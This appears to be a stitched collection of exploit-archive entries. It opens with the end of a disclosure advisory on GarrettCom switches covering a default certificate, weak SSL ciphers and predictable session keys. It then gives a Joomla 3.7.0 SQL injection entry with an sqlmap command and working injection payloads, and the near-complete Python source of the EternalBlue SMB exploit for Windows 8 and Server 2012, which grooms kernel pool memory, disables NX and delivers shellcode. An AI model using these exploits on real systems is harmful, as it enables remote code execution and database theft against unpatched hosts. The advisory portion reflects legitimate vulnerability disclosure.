    ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDFlt+j4OvpcgfdrFGnBxti
    ds6r9sNEcR9JdAFbOmwybQkdqIw9Z9+teU/rixPocEE4gL8beNuw/D3lDc4RJ63m
    1zuQ1riFOkTsz7koKQNWTh3CkIBE7843p5I/GVvhfR7xNCCmCWPdq+6/b3nhott5
    oBeMLOjIWnjFgyVMsWR22JOYv+euWwr4oqZDLfBHjfipnu36J1E2kHLG3TL9uwyN
    DUxtrIbvfi5tOxi8tx1bxZFQU1jxoQa725gO+1TOYzfSoY1a7/M0rMhJM1wFXak6
    jbDbJLSv2TXMWrSJlGFUbCcKv3kE22zLcU/wx1Xl4a4NNvFW7Sf5OG2B+bFLr4fD
    AgMBAAGjgf0wgfowHQYDVR0OBBYEFLtGmDWgd773vSkKikDFSz8VOZ7DMIHKBgNV
    HSMEgcIwgb+AFLtGmDWgd773vSkKikDFSz8VOZ7DoYGjpIGgMIGdMQswCQYDVQQG
    EwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTEQMA4GA1UEBxMHRnJlbW9udDEPMA0G
    A1UEChMGQmVsZGVuMRowGAYDVQQLExFUZWNobmljYWwgU3VwcG9ydDEUMBIGA1UE
    AxMLMTkyLjE2OC4xLjIxJDAiBgkqhkiG9w0BCQEWFWdjaXN1cHBvcnRAYmVsZGVu
    LmNvbYIBADAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUAA4IBAQBAiuv06CMD
    ij+9bEZAfmHftptG4UqsNgYIFZ1sN7HC6RBR9xy45fWVcQN3l3KiyddLsftbZSOa
    CRPpzqgpF58hGwAa7+yQPOjOWf+uLc9Oyex6P9ewAo6c5iiYI865FSQ+QCY4xbD1
    Uk/WFV2LKOzxkXPRcVB4KR81g8tSZF3E8llybhEngg7cvN3uHpO5a5U085xuBbcF
    To9PSbGKyJ7UGESBTD6KxLWAxoD6VGRV2CAZa/F9RTbdG1ZbTUMvoEDmYqv7Pjv/
    ApZzztLJlCyhVM4N/jh/Q/g1VaQWuzPpza6utjN5soUxeZYJB6KwzGUiLnyTNBJz
    L4JtsUO8AcWb
    -----END CERTIFICATE-----

Note that Belden Garrettcom has addressed this issue by reinforcing that
users of the switches should install their own SSL certificates if they
do not want to use the default certificate and key.

GarrettCom-05 - Weak SSL Ciphers Enabled
----------------------------------------

Severity: **Moderate**

Many of the SSL ciphers available for the switch are outdated or use
insecure ciphers or hashes.  Additionally, no key exchanges with perfect forward
secrecy are offered, rendering all previous communications possibly compromised,
given the issue reported above.  Particularly of note is the use of 56-bit DES,
RC4, and MD5-based MACs.

    ssl3: AES256-SHA
    ssl3: CAMELLIA256-SHA
    ssl3: DES-CBC3-SHA
    ssl3: AES128-SHA
    ssl3: SEED-SHA
    ssl3: CAMELLIA128-SHA
    ssl3: RC4-SHA
    ssl3: RC4-MD5
    ssl3: DES-CBC-SHA
    tls1: AES256-SHA
    tls1: CAMELLIA256-SHA
    tls1: DES-CBC3-SHA
    tls1: AES128-SHA
    tls1: SEED-SHA
    tls1: CAMELLIA128-SHA
    tls1: RC4-SHA
    tls1: RC4-MD5
    tls1: DES-CBC-SHA
    tls1_1: AES256-SHA
    tls1_1: CAMELLIA256-SHA
    tls1_1: DES-CBC3-SHA
    tls1_1: AES128-SHA
    tls1_1: SEED-SHA
    tls1_1: CAMELLIA128-SHA
    tls1_1: RC4-SHA
    tls1_1: RC4-MD5
    tls1_1: DES-CBC-SHA
    tls1_2: AES256-GCM-SHA384
    tls1_2: AES256-SHA256
    tls1_2: AES256-SHA
    tls1_2: CAMELLIA256-SHA
    tls1_2: DES-CBC3-SHA
    tls1_2: AES128-GCM-SHA256
    tls1_2: AES128-SHA256
    tls1_2: AES128-SHA
    tls1_2: SEED-SHA
    tls1_2: CAMELLIA128-SHA
    tls1_2: RC4-SHA
    tls1_2: RC4-MD5
    tls1_2: DES-CBC-SHA

GarrettCom-06 - Weak HTTP session key generation
------------------------------------------------

Severity: **Moderate**

The HTTP session key generation is predictable due to the lack of
randomness in the generation process. The key is generated by hashing the 
previous hash result with the current time unit with precision around 50 unit 
per second. The previous hash is replaced with a fixed salt for the first hash 
generation.

The vulnerability allows an attacker to predict the first key that’s
generated by the switch if he has some knowledge about when the key was generated.
Alternatively, the vulnerability also enables privilege escalation attacks
which predict all future keys by observing two consecutive key generations of
lower privileges.

Timeline
--------

2017/01/?? - Issues Discovered
2017/01/27 - Reported to BEL-SM-PSIRT@belden.com
2017/04/27 - 90 day timeline expires, Belden reports patched release forthcoming.
2017/05/08 - Belden releases update & advisory.
2017/05/15 - Disclosure published

Discovery
---------

These issues were discovered by Andrew Griffiths, David Tomaschik, and
Xiaoran Wang of the Google Security Assessments Team.
            
# Exploit Title: Joomla 3.7.0 - Sql Injection
# Date: 05-19-2017
# Exploit Author: Mateus Lino
# Reference: https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html
# Vendor Homepage: https://www.joomla.org/
# Version: = 3.7.0
# Tested on: Win, Kali Linux x64, Ubuntu, Manjaro and Arch Linux
# CVE : - CVE-2017-8917


URL Vulnerable: http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27


Using Sqlmap: 

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]


Parameter: list[fullordering] (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (DUAL)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (1573=1573) THEN 1573 ELSE 1573*(SELECT 1573 FROM DUAL UNION SELECT 9674 FROM DUAL) END)

    Type: error-based
    Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 6600 FROM(SELECT COUNT(*),CONCAT(0x7171767071,(SELECT (ELT(6600=6600,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT * FROM (SELECT(SLEEP(5)))GDiu)
            
#!/usr/bin/python
from impacket import smb, ntlm
from struct import pack
import sys
import socket

'''
EternalBlue exploit for Windows 8 and 2012 by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten)
The exploit support only x64 target

EDB Note: Shellcode
- x64 ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42030.asm
- x86 ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42031.asm

Tested on:
- Windows 2012 R2 x64
- Windows 8.1 x64
- Windows 10 Pro Build 10240 x64


Default Windows 8 and later installation without additional service info:
- anonymous is not allowed to access any share (including IPC$)
  - More info: https://support.microsoft.com/en-us/help/3034016/ipc-share-and-null-session-behavior-in-windows
- tcp port 445 is filtered by firewall


Reference:
- http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
- "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" https://drive.google.com/file/d/0B3P18M-shbwrNWZTa181ZWRCclk/edit


Exploit info:
- If you do not know how exploit for Windows 7/2008 work. Please read my exploit for Windows 7/2008 at
    https://gist.github.com/worawit/bd04bad3cd231474763b873df081c09a because the trick for exploit is almost the same
- The exploit use heap of HAL for placing fake struct (address 0xffffffffffd00e00) and shellcode (address 0xffffffffffd01000).
    On Windows 8 and Wndows 2012, the NX bit is set on this memory page. Need to disable it before controlling RIP.
- The exploit is likely to crash a target when it failed
- The overflow is happened on nonpaged pool so we need to massage target nonpaged pool.
- If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5)
- See the code and comment for exploit detail.


Disable NX method:
- The idea is from "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" (see link in reference)
- The exploit is also the same but we need to trigger bug twice
- First trigger, set MDL.MappedSystemVa to target pte address
  - Write '\x00' to disable the NX flag
- Second trigger, do the same as Windows 7 exploit
- From my test, if exploit disable NX successfully, I always get code execution

# E-DB Note: https://gist.github.com/worawit/074a27e90a3686506fc586249934a30e
# E-DB Note: https://github.com/worawit/MS17-010/blob/873c5453680a0785415990379a4b36ba61f82a4d/eternalblue_exploit8.py
'''

# if anonymous can access any share folder, 'IPC$' is always accessible.
# authenticated user is always able to access 'IPC$'.
# Windows 2012 does not allow anonymous to login if no share is accessible.
USERNAME=''
PASSWORD=''

# because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000
NTFEA_SIZE = 0x9000

ntfea9000 = (pack('<BBH', 0, 0, 0) + '\x00')*0x260  # with these fea, ntfea size is 0x1c80
ntfea9000 += pack('<BBH', 0, 0, 0x735c) + '\x00'*0x735d  # 0x8fe8 - 0x1c80 - 0xc = 0x735c
ntfea9000 += pack('<BBH', 0, 0, 0x8147) + '\x00'*0x8148  # overflow to SRVNET_BUFFER_HDR

'''
Reverse from srvnet.sys (Win2012 R2 x64)
- SrvNetAllocateBufferFromPool() and SrvNetWskTransformedReceiveComplete():

// size 0x90
struct SRVNET_BUFFER_HDR {
	LIST_ENTRY list;
	USHORT flag; // 2 least significant bit MUST be clear. if 0x1 is set, pmdl pointers are access. if 0x2 is set, go to lookaside.
	char unknown0[6];
	char *pNetRawBuffer;  // MUST point to valid address (check if this request is "\xfdSMB")
	DWORD netRawBufferSize; // offset: 0x20
	DWORD ioStatusInfo;
	DWORD thisNonPagedPoolSize;  // will be 0x82e8 for netRawBufferSize 0x8100
	DWORD pad2;
	char *thisNonPagedPoolAddr; // 0x30  points to SRVNET_BUFFER
	PMDL pmdl1; // point at offset 0x90 from this struct
	DWORD nByteProcessed; // 0x40
	char unknown4[4];
	QWORD smbMsgSize; // MUST be modified to size of all recv data
	PMDL pmdl2; // 0x50:  if want to free corrupted buffer, need to set to valid address
	QWORD pSrvNetWskStruct;  // want to change to fake struct address
	DWORD unknown6; // 0x60
	char unknown7[12];
	char unknown8[0x20];
};

struct SRVNET_BUFFER {
	char transportHeader[80]; // 0x50
	char buffer[reqSize+padding];  // 0x8100 (for pool size 0x82f0), 0x10100 (for pool size 0x11000)
	SRVNET_BUFFER_HDR hdr; //some header size 0x90
	//MDL mdl1; // target
};

In Windows 8, the srvnet buffer metadata is declared after real buffer. We need to overflow through whole receive buffer.
Because transaction max data count is 66512 (0x103d0) in SMB_COM_NT_TRANSACT command and 
  DataDisplacement is USHORT in SMB_COM_TRANSACTION2_SECONDARY command, we cannot send large trailing data after FEALIST.
So the possible srvnet buffer pool size is 0x82f0. With this pool size, we need to overflow more than 0x8150 bytes.
If exploit cannot overflow to prepared SRVNET_BUFFER, the target is likely to crash because of big overflow.
'''
# Most field in overwritten (corrupted) srvnet struct can be any value because it will be left without free (memory leak) after processing
# Here is the important fields on x64
# - offset 0x18 (VOID*) : pointer to received SMB message buffer. This value MUST be valid address because there is
#                           a check in SrvNetWskTransformedReceiveComplete() if this message starts with "\xfdSMB".
# - offset 0x48 (QWORD) : the SMB message length from packet header (first 4 bytes).
#                           This value MUST be exactly same as the number of bytes we send.
#                           Normally, this value is 0x80 + len(fake_struct) + len(shellcode)
# - offset 0x58 (VOID*) : pointer to a struct contained pointer to function. the pointer to function is called when done receiving SMB request.
#                           The value MUST point to valid (might be fake) struct.
# - offset 0x90 (MDL)   : MDL for describe receiving SMB request buffer
#   - 0x90 (VOID*)    : MDL.Next should be NULL
#   - 0x98 (USHORT)   : MDL.Size should be some value that not too small
#   - 0x9a (USHORT)   : MDL.MdlFlags should be 0x1004 (MDL_NETWORK_HEADER|MDL_SOURCE_IS_NONPAGED_POOL)
#   - 0x90 (VOID*)    : MDL.Process should be NULL
#   - 0x98 (VOID*)    : MDL.MappedSystemVa MUST be a received network buffer address. Controlling this value get arbitrary write.
#                         The address for arbitrary write MUST be subtracted by a number of sent bytes (0x80 in this exploit).
#                         
#
# To free the corrupted srvnet buffer (not necessary), shellcode MUST modify some memory value to satisfy condition.
# Here is related field for freeing corrupted buffer
# - offset 0x10 (USHORT): 2 least significant bit MUST be clear. Just set to 0xfff0
# - offset 0x30 (VOID*) : MUST be fixed to correct value in shellcode. This is the value that passed to ExFreePoolWithTag()
# - offset 0x40 (DWORD) : be a number of total byte received. This field MUST be set by shellcode because SrvNetWskReceiveComplete() set it to 0
#                           before calling SrvNetCommonReceiveHandler(). This is possible because pointer to SRVNET_BUFFER struct is passed to
#                           your shellcode as function argument
# - offset 0x50 (PMDL)  : points to any fake MDL with MDL.Flags 0x20 does not set
# The last condition is your shellcode MUST return non-negative value. The easiest way to do is "xor eax,eax" before "ret".
# Here is x64 assembly code for setting nByteProcessed field
# - fetch SRVNET_BUFFER address from function argument
#     \x48\x8b\x54\x24\x40  mov rdx, [rsp+0x40]
# - fix pool pointer (rcx is -0x8150 because of fake_recv_struct below)
#     \x48\x01\xd1          add rcx, rdx
#     \x48\x89\x4a\x30      mov [rdx+0x30], rcx
# - set nByteProcessed for trigger free after return
#     \x8b\x4a\x48          mov ecx, [rdx+0x48]
#     \x89\x4a\x40          mov [rdx+0x40], ecx

# debug mode affects HAL heap. The 0xffffffffffd04000 address should be useable no matter what debug mode is.
# The 0xffffffffffd00000 address should be useable when debug mode is not enabled
# The 0xffffffffffd01000 address should be useable when debug mode is enabled
TARGET_HAL_HEAP_ADDR = 0xffffffffffd04000  # for put fake struct and shellcode
 
# Note: feaList will be created after knowing shellcode size.

# feaList for disabling NX is possible because we just want to change only MDL.MappedSystemVa
# PTE of 0xffffffffffd00000 is at 0xfffff6ffffffe800
# NX bit is at PTE_ADDR+7
# MappedSystemVa = PTE_ADDR+7 - 0x7f
SHELLCODE_PAGE_ADDR = (TARGET_HAL_HEAP_ADDR + 0x400) & 0xfffffffffffff000
PTE_ADDR = 0xfffff6ffffffe800 + 8*((SHELLCODE_PAGE_ADDR-0xffffffffffd00000) >> 12)
fakeSrvNetBufferX64Nx = '\x00'*16
fakeSrvNetBufferX64Nx += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR)
fakeSrvNetBufferX64Nx += '\x00'*16
fakeSrvNetBufferX64Nx += '\x00'*16
fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
fakeSrvNetBufferX64Nx += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR)  # _, _, pointer to fake struct
fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
fakeSrvNetBufferX64Nx += '\x00'*16
fakeSrvNetBufferX64Nx += '\x00'*16
fakeSrvNetBufferX64Nx += pack('<QHHI', 0, 0x60, 0x1004, 0)  # MDL.Next, MDL.Size, MDL.MdlFlags
fakeSrvNetBufferX64Nx += pack('<QQ', 0, PTE_ADDR+7-0x7f)  # MDL.Process, MDL.MappedSystemVa

feaListNx = pack('<I', 0x10000)
feaListNx += ntfea9000
feaListNx += pack('<BBH', 0, 0, len(fakeSrvNetBufferX64Nx)-1) + fakeSrvNetBufferX64Nx # -1 because first '\x00' is for name
# stop copying by invalid flag (can be any value except 0 and 0x80)
feaListNx += pack('<BBH', 0x12, 0x34, 0x5678)


def createFakeSrvNetBuffer(sc_size):
	# 0x180 is size of fakeSrvNetBufferX64
	totalRecvSize = 0x80 + 0x180 + sc_size
	fakeSrvNetBufferX64 = '\x00'*16
	fakeSrvNetBufferX64 += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR)  # flag, _, _, pNetRawBuffer
	fakeSrvNetBufferX64 += pack('<QII', 0, 0x82e8, 0)  # _, thisNonPagedPoolSize, _
	fakeSrvNetBufferX64 += '\x00'*16
	fakeSrvNetBufferX64 += pack('<QQ', 0, totalRecvSize)  # offset 0x40
	fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR, TARGET_HAL_HEAP_ADDR)  # pmdl2, pointer to fake struct
	fakeSrvNetBufferX64 += pack('<QQ', 0, 0)
	fakeSrvNetBufferX64 += '\x00'*16
	fakeSrvNetBufferX64 += '\x00'*16
	fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0)  # MDL.Next, MDL.Size, MDL.MdlFlags
	fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR-0x80)  # MDL.Process, MDL.MappedSystemVa
	return fakeSrvNetBufferX64

def createFeaList(sc_size):
	feaList = pack('<I', 0x10000)
	feaList += ntfea9000
	fakeSrvNetBuf = createFakeSrvNetBuffer(sc_size)
	feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuf)-1) + fakeSrvNetBuf # -1 because first '\x00' is for name
	# stop copying by invalid flag (can be any value except 0 and 0x80)
	feaList += pack('<BBH', 0x12, 0x34, 0x5678)
	return feaList

# fake struct for SrvNetWskTransformedReceiveComplete() and SrvNetCommonReceiveHandler()
# x64: fake struct is at ffffffff ffd00e00
#   offset 0x50:  KSPIN_LOCK
#   offset 0x58:  LIST_ENTRY must be valid address. cannot be NULL.
#   offset 0x110: array of pointer to function
#   offset 0x13c: set to 3 (DWORD) for invoking ptr to function
# some useful offset
#   offset 0x120: arg1 when invoking ptr to function
#   offset 0x128: arg2 when invoking ptr to function
#
# code path to get code exection after this struct is controlled
# SrvNetWskTransformedReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
fake_recv_struct = ('\x00'*16)*5
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x58)  # offset 0x50: KSPIN_LOCK, (LIST_ENTRY to itself)
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x58, 0)  # offset 0x60
fake_recv_struct += ('\x00'*16)*10
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x170, 0)  # offset 0x110: fn_ptr array
fake_recv_struct += pack('<QQ', (0x8150^0xffffffffffffffff)+1, 0)  # set arg1 to -0x8150
fake_recv_struct += pack('<QII', 0, 0, 3)  # offset 0x130
fake_recv_struct += ('\x00'*16)*3
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x180)  # shellcode address


def getNTStatus(self):
	return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']
setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus)

def sendEcho(conn, tid, data):
	pkt = smb.NewSMBPacket()
	pkt['Tid'] = tid

	transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
	transCommand['Parameters'] = smb.SMBEcho_Parameters()
	transCommand['Data'] = smb.SMBEcho_Data()

	transCommand['Parameters']['EchoCount'] = 1
	transCommand['Data']['Data'] = data
	pkt.addCommand(transCommand)

	conn.sendSMB(pkt)
	recvPkt = conn.recvSMB()
	if recvPkt.getNTStatus() == 0:
		print('got good ECHO response')
	else:
		print('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()))


# override SMB.neg_session() to allow forcing ntlm authentication
class MYSMB(smb.SMB):
	def __init__(self, remote_host, use_ntlmv2=True):
		self.__use_ntlmv2 = use_ntlmv2
		smb.SMB.__init__(self, remote_host, remote_host)

	def neg_session(self, extended_security = True, negPacket = None):
		smb.SMB.neg_session(self, extended_security=self.__use_ntlmv2, negPacket=negPacket)

def createSessionAllocNonPaged(target, size):
	conn = MYSMB(target, use_ntlmv2=False)  # with this negotiation, FLAGS2_EXTENDED_SECURITY is not set
	_, flags2 = conn.get_flags()
	# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
	if size >= 0xffff:
		flags2 &= ~smb.SMB.FLAGS2_UNICODE
		reqSize = size // 2
	else:
		flags2 |= smb.SMB.FLAGS2_UNICODE
		reqSize = size
	conn.set_flags(flags2=flags2)
	
	pkt = smb.NewSMBPacket()

	sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
	sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()

	sessionSetup['Parameters']['MaxBufferSize']      = 61440  # can be any value greater than response size
	sessionSetup['Parameters']['MaxMpxCount']        = 2  # can by any value
	sessionSetup['Parameters']['VcNumber']           = 2  # any non-zero
	sessionSetup['Parameters']['SessionKey']         = 0
	sessionSetup['Parameters']['SecurityBlobLength'] = 0  # this is OEMPasswordLen field in another format. 0 for NULL session
	sessionSetup['Parameters']['Capabilities']       = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS

	sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20
	pkt.addCommand(sessionSetup)

	conn.sendSMB(pkt)
	recvPkt = conn.recvSMB()
	if recvPkt.getNTStatus() == 0:
		print('SMB1 session setup allocate nonpaged pool success')
		return conn
	
	if USERNAME:
		# Try login with valid user because anonymous user might get access denied on Windows Server 2012.
		# Note: If target allows only NTLMv2 authentication, the login will always fail.
		# support only ascii because I am lazy to implement Unicode (need pad for alignment and converting username to utf-16)
		flags2 &= ~smb.SMB.FLAGS2_UNICODE
		reqSize = size // 2
		conn.set_flags(flags2=flags2)
		
		# new SMB packet to reset flags
		pkt = smb.NewSMBPacket()
		pwd_unicode = conn.get_ntlmv1_response(ntlm.compute_nthash(PASSWORD))
		# UnicodePasswordLen field is in Reserved for extended security format.
		sessionSetup['Parameters']['Reserved'] = len(pwd_unicode)
		sessionSetup['Data'] = pack('<H', reqSize+len(pwd_unicode)+len(USERNAME)) + pwd_unicode + USERNAME + '\x00'*16
		pkt.addCommand(sessionSetup)
		
		conn.sendSMB(pkt)
		recvPkt = conn.recvSMB()
		if recvPkt.getNTStatus() == 0:
			print('SMB1 session setup allocate nonpaged pool success')
			return conn

	# lazy to check error code, just print fail message
	print('SMB1 session setup allocate nonpaged pool failed')
	sys.exit(1)


# Note: impacket-0.9.15 struct has no ParameterDisplacement
############# SMB_COM_TRANSACTION2_SECONDARY (0x33)
class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters):
    structure = (
        ('TotalParameterCount','<H=0'),
        ('TotalDataCount','<H'),
        ('ParameterCount','<H=0'),
        ('ParameterOffset','<H=0'),
        ('ParameterDisplacement','<H=0'),
        ('DataCount','<H'),
        ('DataOffset','<H'),
        ('DataDisplacement','<H=0'),
        ('FID','<H=0'),
    )

def send_trans2_second(conn, tid, data, displacement):
	pkt = smb.NewSMBPacket()
	pkt['Tid'] = tid

	# assume no params

	transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
	transCommand['Parameters'] = SMBTransaction2Secondary_Parameters_Fixed()
	transCommand['Data'] = smb.SMBTransaction2Secondary_Data()

	transCommand['Parameters']['TotalParameterCount'] = 0
	transCommand['Parameters']['TotalDataCount'] = len(data)

	fixedOffset = 32+3+18
	transCommand['Data']['Pad1'] = ''

	transCommand['Parameters']['ParameterCount'] = 0
	transCommand['Parameters']['ParameterOffset'] = 0

	if len(data) > 0:
		pad2Len = (4 - fixedOffset % 4) % 4
		transCommand['Data']['Pad2'] = '\xFF' * pad2Len
	else:
		transCommand['Data']['Pad2'] = ''
		pad2Len = 0

	transCommand['Parameters']['DataCount'] = len(data)
	transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len
	transCommand['Parameters']['DataDisplacement'] = displacement

	transCommand['Data']['Trans_Parameters'] = ''
	transCommand['Data']['Trans_Data'] = data
	pkt.addCommand(transCommand)

	conn.sendSMB(pkt)


def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
	pkt = smb.NewSMBPacket()
	pkt['Tid'] = tid

	command = pack('<H', setup)

	# Use SMB_COM_NT_TRANSACT because we need to send data >65535 bytes to trigger the bug.
	transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
	transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
	transCommand['Parameters']['MaxSetupCount'] = 1
	transCommand['Parameters']['MaxParameterCount'] = len(param)
	transCommand['Parameters']['MaxDataCount'] = 0
	transCommand['Data'] = smb.SMBTransaction2_Data()

	transCommand['Parameters']['Setup'] = command
	transCommand['Parameters']['TotalParameterCount'] = len(param)
	transCommand['Parameters']['TotalDataCount'] = len(data)

	fixedOffset = 32+3+38 + len(command)
	if len(param) > 0:
		padLen = (4 - fixedOffset % 4 ) % 4
		padBytes = '\xFF' * padLen
		transCommand['Data']['Pad1'] = padBytes
	else:
		transCommand['Data']['Pad1'] = ''
		padLen = 0

	transCommand['Parameters']['ParameterCount'] = len(param)
	transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen

	if len(data) > 0:
		pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
		transCommand['Data']['Pad2'] = '\xFF' * pad2Len
	else:
		transCommand['Data']['Pad2'] = ''
		pad2Len = 0

	transCommand['Parameters']['DataCount'] = firstDataFragmentSize
	transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len

	transCommand['Data']['Trans_Parameters'] = param
	transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]
	pkt.addCommand(transCommand)

	conn.sendSMB(pkt)
	recvPkt = conn.recvSMB() # must be success
	if recvPkt.getNTStatus() == 0:
		print('got good NT Trans response')
	else:
		print('got bad NT Trans response: 0x{:x}'.format(recvPkt.getNTStatus()))
		sys.exit(1)
	
	# Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data
	i = firstDataFragmentSize
	while i < len(data):
		sendSize = min(4096, len(data) - i)
		if len(data) - i <= 4096:
			if not sendLastChunk:
				break
		send_trans2_second(conn, tid, data[i:i+sendSize], i)
		i += sendSize
	
	if sendLastChunk:
		conn.recvSMB()
	return i

	
# connect to target and send a large nbss size with data 0x80 bytes
# this method is for allocating big nonpaged pool on target
def createConnectionWithBigSMBFirst80(target, for_nx=False):
	sk = socket.create_connection((target, 445))
	pkt = '\x00' + '\x00' + pack('>H', 0x8100)
	# There is no need to be SMB2 because we want the target free the corrupted buffer.
	# Also this is invalid SMB2 message.
	# I believe NSA exploit use SMB2 for hiding alert from IDS
	#pkt += '\xfeSMB' # smb2
	# it can be anything even it is invalid
	pkt += 'BAAD' # can be any
	if for_nx:
		# MUST set no delay because 1 byte MUST be sent immediately
		sk.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
		pkt += '\x00'*0x7b  # another byte will be sent later to disabling NX
	else:
		pkt += '\x00'*0x7c
	sk.send(pkt)
	return sk


def exploit(target, shellcode, numGroomConn):
	# force using smb.SMB for SMB1
	conn = smb.SMB(target, target)
	conn.login(USERNAME, PASSWORD)
	server_os = conn.get_server_os()
	print('Target OS: '+server_os)
	if server_os.startswith("Windows 10 "):
		build = int(server_os.split()[-1])
		if build >= 14393:  # version 1607
			print('This exploit does not support this target')
			sys.exit()
	elif not (server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ")):
		print('This exploit does not support this target')
		sys.exit()

	tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')

	# The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand.
	# Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment
	progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, len(feaList)%4096, False)

	# Another TRANS2_OPEN2 (0) with special feaList for disabling NX
	nxconn = smb.SMB(target, target)
	nxconn.login(USERNAME, PASSWORD)
	nxtid = nxconn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
	nxprogress = send_big_trans2(nxconn, nxtid, 0, feaListNx, '\x00'*30, len(feaList)%4096, False)

	# create some big buffer at server
	# this buffer MUST NOT be big enough for overflown buffer
	allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x2010)
	
	# groom nonpaged pool
	# when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one
	srvnetConn = []
	for i in range(numGroomConn):
		sk = createConnectionWithBigSMBFirst80(target, for_nx=True)
		srvnetConn.append(sk)

	# create buffer size NTFEA_SIZE at server
	# this buffer will be replaced by overflown buffer
	holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE-0x10)
	# disconnect allocConn to free buffer
	# expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer
	allocConn.get_socket().close()

	# hope one of srvnetConn is next to holeConn
	for i in range(5):
		sk = createConnectionWithBigSMBFirst80(target, for_nx=True)
		srvnetConn.append(sk)
	
	# remove holeConn to create hole for fea buffer
	holeConn.get_socket().close()
	
	# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
	# first trigger, overwrite srvnet buffer struct for disabling NX
	send_trans2_second(nxconn, nxtid, feaListNx[nxprogress:], nxprogress)
	recvPkt = nxconn.recvSMB()
	retStatus = recvPkt.getNTStatus()
	if retStatus == 0xc000000d:
		print('good response status for nx: INVALID_PARAMETER')
	else:
		print('bad response status for nx: 0x{:08x}'.format(retStatus))
		
	# one of srvnetConn struct header should be modified
	# send '\x00' to disable nx
	for sk in srvnetConn:
		sk.send('\x00')
	
	# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
	# second trigger, place fake struct and shellcode
	send_trans2_second(conn, tid, feaList[progress:], progress)
	recvPkt = conn.recvSMB()
	retStatus = recvPkt.getNTStatus()
	if retStatus == 0xc000000d:
		print('good response status: INVALID_PARAMETER')
	else:
		print('bad response status: 0x{:08x}'.format(retStatus))

	# one of srvnetConn struct header should be modified
	# a corrupted buffer will write recv data in designed memory address
	for sk in srvnetConn:
		sk.send(fake_recv_struct + shellcode)

	# execute shellcode
	for sk in srvnetConn:
		sk.close()
	
	# nicely close connection (no need for exploit)
	nxconn.disconnect_tree(tid)
	nxconn.logoff()
	nxconn.get_socket().close()
